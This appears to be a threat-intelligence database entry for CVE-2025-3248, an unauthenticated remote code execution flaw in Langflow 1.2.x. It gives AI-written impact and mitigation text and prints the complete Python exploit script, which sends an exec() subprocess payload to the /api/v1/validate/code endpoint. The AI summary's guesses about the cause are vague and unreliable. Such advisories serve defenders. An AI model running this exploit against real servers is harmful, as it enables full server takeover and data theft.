Langflow 1.2.x - Remote Code Execution (RCE)
Langflow 1.2.x - Remote Code Execution (RCE)
AI Analysis
Technical Summary
Langflow 1.2.x suffers from a critical Remote Code Execution (RCE) vulnerability that allows an attacker to execute arbitrary code on the affected system remotely. Langflow is a web-based application, and the vulnerability likely arises from improper input validation or unsafe deserialization, enabling attackers to inject and execute malicious Python code. Given that the exploit code is available and written in Python, it suggests that the vulnerability can be triggered by sending crafted requests to the web interface or API endpoints of Langflow 1.2.x. The absence of affectedVersions details implies that all 1.2.x versions are potentially vulnerable. The exploit does not require authentication or user interaction, increasing the risk of automated exploitation. The vulnerability could be exploited to gain full control over the underlying server, leading to data theft, system compromise, or pivoting within the network.
Potential Impact
For European organizations, this RCE vulnerability poses a significant risk, especially for those using Langflow 1.2.x in production environments. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential lateral movement within corporate networks. Organizations in sectors such as finance, healthcare, and critical infrastructure could face severe operational and reputational damage. Furthermore, the ability to execute arbitrary code remotely could facilitate deployment of ransomware or other malware, amplifying the threat impact. Given the critical severity and ease of exploitation, European entities must prioritize detection and mitigation to prevent potential breaches.
Mitigation Recommendations
Organizations should immediately identify and isolate any systems running Langflow 1.2.x. Since no official patches are listed, applying virtual patching via web application firewalls (WAFs) to block suspicious inputs targeting code execution vectors is recommended. Restrict network access to Langflow interfaces to trusted IPs and implement strict input validation and sanitization where possible. Monitoring logs for unusual activity or unexpected Python code execution attempts can help detect exploitation attempts early. If feasible, consider upgrading to a newer, patched version once available or replacing Langflow with alternative solutions. Additionally, conduct thorough security assessments and penetration testing focused on web application vulnerabilities to uncover similar issues.
Affected Countries
Germany, France, United Kingdom, Netherlands, Italy, Spain, Poland
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE) # Date: 2025-07-11 # Exploit Author: Raghad Abdallah Al-syouf # Vendor Homepage: https://github.com/logspace-ai/langflow # Software Link: https://github.com/logspace-ai/langflow/releases # Version: <= 1.2.x # Tested on: Ubuntu / Docker # CVE: CVE-2025-3248 # Description: #Langflow exposes a vulnerable endpoint `/api/v1/validate/code` that improperly evaluates arbitrary Python code via the `exec()` function. An unauthenticated remote attacker can execute arbitrary system commands. # Usage: #python3 cve-2025-3248.py http://target:7860 "id" import requests import argparse import json from urllib.parse import urljoin from colorama import Fore, Style, init import random init(autoreset=True) requests.packages.urllib3.disable_warnings() BANNER_COLORS = [Fore.MAGENTA, Fore.CYAN, Fore.LIGHTBLUE_EX] def show_banner(): print(f"""{Style.BRIGHT}{random.choice(BANNER_COLORS)} ╔════════════════════════════════════════════════════╗ ║ Langflow <= 1.2.x - CVE-2025-3248 ║ ║ Remote Code Execution via exposed API ║ ║ No authentication — triggers exec() call ║ ╚════════════════════════════════════════════════════╝ Author: Raghad Abdallah Al-syouf {Style.RESET_ALL}""") class LangflowRCE: def __init__(self, target_url, timeout=10): self.base_url = target_url.rstrip('/') self.session = requests.Session() self.session.verify = False self.session.headers = { "User-Agent": "Langflow-RCE-Scanner", "Content-Type": "application/json" } self.timeout = timeout def run_payload(self, command): endpoint = urljoin(self.base_url, "/api/v1/validate/code") payload = { "code": ( f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass" ) } print(f"{Fore.YELLOW}[+] Sending crafted payload to: {endpoint}") try: response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout) print(f"{Fore.YELLOW}[+] HTTP {response.status_code}") if response.status_code == 200: try: json_data = response.json() err = json_data.get("function", {}).get("errors", [""])[0] if isinstance(err, str) and err.startswith("b'"): output = err[2:-1].encode().decode("unicode_escape").strip() return output or "[!] No output returned." except Exception as e: return f"[!] Error parsing response: {e}" return "[!] Target may not be vulnerable or is patched." except Exception as e: return f"[!] Request failed: {e}" def main(): parser = argparse.ArgumentParser(description="PoC - CVE-2025-3248 | Langflow <= v1.2.x Unauthenticated RCE") parser.add_argument("url", help="Target URL (e.g., http://localhost:7860)") parser.add_argument("cmd", help="Command to execute remotely (e.g., whoami)") args = parser.parse_args() show_banner() exploit = LangflowRCE(args.url) result = exploit.run_payload(args.cmd) print(f"\n{Fore.GREEN}[+] Command Output:\n{Style.RESET_ALL}{result}") if __name__ == "__main__": main()
Langflow 1.2.x - Remote Code Execution (RCE)
Description
Langflow 1.2.x - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
Langflow 1.2.x suffers from a critical Remote Code Execution (RCE) vulnerability that allows an attacker to execute arbitrary code on the affected system remotely. Langflow is a web-based application, and the vulnerability likely arises from improper input validation or unsafe deserialization, enabling attackers to inject and execute malicious Python code. Given that the exploit code is available and written in Python, it suggests that the vulnerability can be triggered by sending crafted requests to the web interface or API endpoints of Langflow 1.2.x. The absence of affectedVersions details implies that all 1.2.x versions are potentially vulnerable. The exploit does not require authentication or user interaction, increasing the risk of automated exploitation. The vulnerability could be exploited to gain full control over the underlying server, leading to data theft, system compromise, or pivoting within the network.
Potential Impact
For European organizations, this RCE vulnerability poses a significant risk, especially for those using Langflow 1.2.x in production environments. Successful exploitation could lead to unauthorized access to sensitive data, disruption of services, and potential lateral movement within corporate networks. Organizations in sectors such as finance, healthcare, and critical infrastructure could face severe operational and reputational damage. Furthermore, the ability to execute arbitrary code remotely could facilitate deployment of ransomware or other malware, amplifying the threat impact. Given the critical severity and ease of exploitation, European entities must prioritize detection and mitigation to prevent potential breaches.
Mitigation Recommendations
Organizations should immediately identify and isolate any systems running Langflow 1.2.x. Since no official patches are listed, applying virtual patching via web application firewalls (WAFs) to block suspicious inputs targeting code execution vectors is recommended. Restrict network access to Langflow interfaces to trusted IPs and implement strict input validation and sanitization where possible. Monitoring logs for unusual activity or unexpected Python code execution attempts can help detect exploitation attempts early. If feasible, consider upgrading to a newer, patched version once available or replacing Langflow with alternative solutions. Additionally, conduct thorough security assessments and penetration testing focused on web application vulnerabilities to uncover similar issues.
Affected Countries
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52364
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Langflow 1.2.x - Remote Code Execution (RCE)
#!/usr/bin/env python3 # Exploit Title: Langflow 1.2.x - Remote Code Execution (RCE) # Date: 2025-07-11 # Exploit Author: Raghad Abdallah Al-syouf # Vendor Homepage: https://github.com/logspace-ai/langflow # Software Link: https://github.com/logspace-ai/langflow/releases # Version: <= 1.2.x # Tested on: Ubuntu / Docker # CVE: CVE-2025-3248 # Description: #Langflow exposes a vulnerable endpoint `/api/v1/validate/code` that improperly evaluates arbitrary Python code via the `exec()` function. An
... (2918 more characters)
Threat ID: 687816daa83201eaacdebc88
Added to database: 7/16/2025, 9:17:14 PM
Last enriched: 8/11/2025, 1:22:35 AM
Last updated: 8/30/2025, 1:42:02 AM
Views: 53
Related Threats
Hackers Exploit CrushFTP Zero-Day to Take Over Servers - Patch NOW!
CriticalWhatsApp Issues Emergency Update for Zero-Click Exploit Targeting iOS and macOS Devices
CriticalNew zero-click exploit allegedly used to hack WhatsApp users
HighResearchers Warn of Sitecore Exploit Chain Linking Cache Poisoning and Remote Code Execution
HighHidden in plain sight: a misconfigured upload path that invited trouble
MediumActions
Updates to AI analysis are available only with a Pro account. Contact root@offseq.com for access.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.